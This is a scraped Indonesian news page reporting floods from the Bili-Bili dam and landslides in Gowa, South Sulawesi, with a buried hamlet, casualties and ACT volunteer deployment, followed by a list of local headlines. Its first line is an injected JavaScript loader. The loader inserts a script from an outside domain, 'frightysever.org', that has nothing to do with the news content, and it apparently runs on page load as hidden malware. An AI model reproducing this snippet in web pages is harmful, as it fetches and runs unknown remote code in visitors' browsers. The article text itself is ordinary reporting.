(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Longsor di Gowa Mengubur Satu Dusun


GOWA, Kabupaten Gowa di Sulawesi Selatan dalam dua hari terakhir ditimpa musibah. Paling luas dampaknya ialah banjir bandang yang menerjang dari Bendungan Bili-Bili, bendungan terbesar di provinsi tersebut. Beberapa jembatan hancur dan memutus akses antar wilayah.

Tak hanya banjir, tanah longsor juga terjadi di beberapa titik di Gowa. Longsor terjadi akibat hujan dalam intensitas yang tinggi mengguyur dalam dua hari belakangan. Titik longsor antara lain ada di Desa Lonjoboko di Kecamatan Parangloe, Desa Datara, Tompobulu, Bilanrengi, juga Desa Parigi. Kemudian ada Desa Bili-bili di Kecamatan Bontomarannu, dan yang paling parah menerjang Desa Pattallikang di Kecamatan Manuju.

Berdasarkan laporan relawan Aksi Cepat Tanggap (ACT) yang bertugas di Gowa, terdapat satu dusun di Desa Pattallikang yang terkubur, yakni Dusun Pattiro. Beberapa orang diperkirakan masih hilang dan beberapa lainnya dinyatakan meninggal dunia.


Tim Emergency Response ACT Sulsel Nur Ali Akbar mengatakan, Tim ACT akan menuju lokasi tanah longsor tersebut. Saat ini sedang dilakukan perencanaan serta persiapan. “Ini lokasinya di Sapaya, di pelosok, jarak tempuh kurang lebih 80 kilometer dari kota Gowa,” ungkapnya, Rabu (23/1).

Hingga Rabu (23/1) Tim Relawan ACT yang diturunkan untuk merespons banjir dan longsor di Sulawesi Selatan, sudah mencapai 51 personel. Mereka dibagi dalam dua wilayah, yaitu Makassar dan Gowa. Mereka terbagi dalam tugas evakuasi, medis, logistik, hingga pendataan. Sedangkan empat posko telah berdiri di beberapa titik.

Sementara itu, sampai laporan ini diunggah, Pemerintah Kabupaten Gowa mengumumkan, jika korban meninggal akibat banjir bandang ini sudah mencapai enam orang. Mereka berasal dari berbagai kecamatan yang terdampak, mengingat luasnya dampak banjir ini. Selain Gowa dan Makassar, banjir ini juga merendam Maros, Pangkep, Barru hingga Jeneponto. (act)

Reporter : ACT
Editor : Kk

Desy Arfianty

Recent Posts

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

34 menit ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

1 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

2 jam ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

2 jam ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

15 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

15 jam ago

This website uses cookies.